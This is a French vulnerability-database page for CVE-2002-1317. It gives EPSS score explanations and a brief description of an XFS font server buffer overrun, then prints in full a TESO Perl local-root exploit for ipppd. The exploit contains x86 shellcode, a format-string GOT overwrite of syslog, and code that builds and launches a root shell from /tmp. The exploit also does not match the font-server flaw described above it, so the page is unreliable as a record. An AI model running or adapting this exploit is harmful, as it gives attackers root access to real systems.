CVE-2002-1317 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/6241/info A remotely exploitable buffer overrun condition has been reported in the XFS font server, fs.auto used by multiple vendors. This vulnerability may be exploited by remote attackers to execute commands on the target host with privileges of user nobody. This vulnerability has been reported fixed in XFree86 3.3.6 and later. #!/usr/bin/perl # 7350pippi - x86/Linux ipppd local root # # (C) COPYRIGHT TESO Security, 2002 # All Rights Reserved # # May be used under the terms of the GPL. # ipppd local root exploit: # ... # /* # * Check if there is a device by this name. # */ # if (stat(cp, &statbuf) < 0) { # if (errno == ENOENT) # return 0; # syslog(LOG_ERR, cp); # return -1; # } # ... # # This exploit changes the address of syslog in ipppd's # GOT. Since it returns -1 as seen above, ipppd will invoke # syslog() a second time soon this time using the address # given by us. We redirect the GOT entry to a stacklocation # where the filename of the executed program is normally # located. Since we symlink() the shellcode to /usr/sbin/ipppd # the shellcode goes on the stack AT A FIXED ADDRESS! Thus # we avoid ugly offsets and guessing/bruteforce. # If porting this exploits to other systems, you # need to find syslogs() GOT entry yourself. # use Fcntl; # chown()+chmod() /tmp/boomsh $shellcode = "\x90"x100 . "\x31\xc0\xb0\x46\xbb\xff\xff\xff\xff\x31\xc9\xcd\x80\xeb". "\x2a\x90\x90\x90\x90\x5e\x89\xf3\xff\x03\xff\x43\x04\x31". "\xc0\x88\x43\x0b\x31\xc0\xb0\xb6\x31\xc9\x31\xd2\xcd\x80". "\x31\xc0\xb0\x0f\x66\xb9\xed\x0d\xcd\x80\x31\xc0\x40\xcd". "\x80\xe8\xd5\xff\xff\xff\x2e\x74\x6d\x70\x2e\x62\x6f\x6f". "\x6d\x73\x68\x2e"; unlink("/tmp/$shellcode"); symlink("/usr/sbin/ipppd", "/tmp/$shellcode") or die "$!"; # my syslog GOT entry @ 0x806c90c sysopen(O, "/tmp/boomsh.c", O_RDWR|O_CREAT, 0600) or die "$!"; print O<<_EOF_; #include <stdio.h> int main() { char *a[] = {"/bin/bash", "--norc", "--noprofile", NULL}; setuid(0); execve(*a, a, NULL); return -1; } _EOF_ close O; print "Compiling boomshell ...\n"; system("cc /tmp/boomsh.c -o /tmp/boomsh"); $dir = "/tmp/L"; mkdir($dir); $ret = 0xbffffffb - length($shellcode)+20; printf("Filename is located @ %x\n", $ret); # maybe need to change to your GOT entry # of syslog(); see above $file = "XX" . pack(c4, 0x0c, 0xc9, 0x06, 0x08) . "1234" . # GOT pack(c4, 0x0d, 0xc9, 0x06, 0x08) . "1234" . # GOT+1 pack(c4, 0x0e, 0xc9, 0x06, 0x08) . "1234" . # GOT+2 pack(c4, 0x0f, 0xc9, 0x06, 0x08); # GOT+3 $stackpop = "%p"x11; $file .= $stackpop; #$file .= "%14d%n%69d%n%40d%n%192d%n"; # Should be fixed. If not, find the 4 values for # %d yourself using gdb. This worked for me. $file .= "%221d%n%158d%n%256d%n%192d%n"; open(O, ">$dir/$file") or die "$!"; close O; system("/tmp/$shellcode", "..$dir/$file/"); exec("/tmp/boomsh");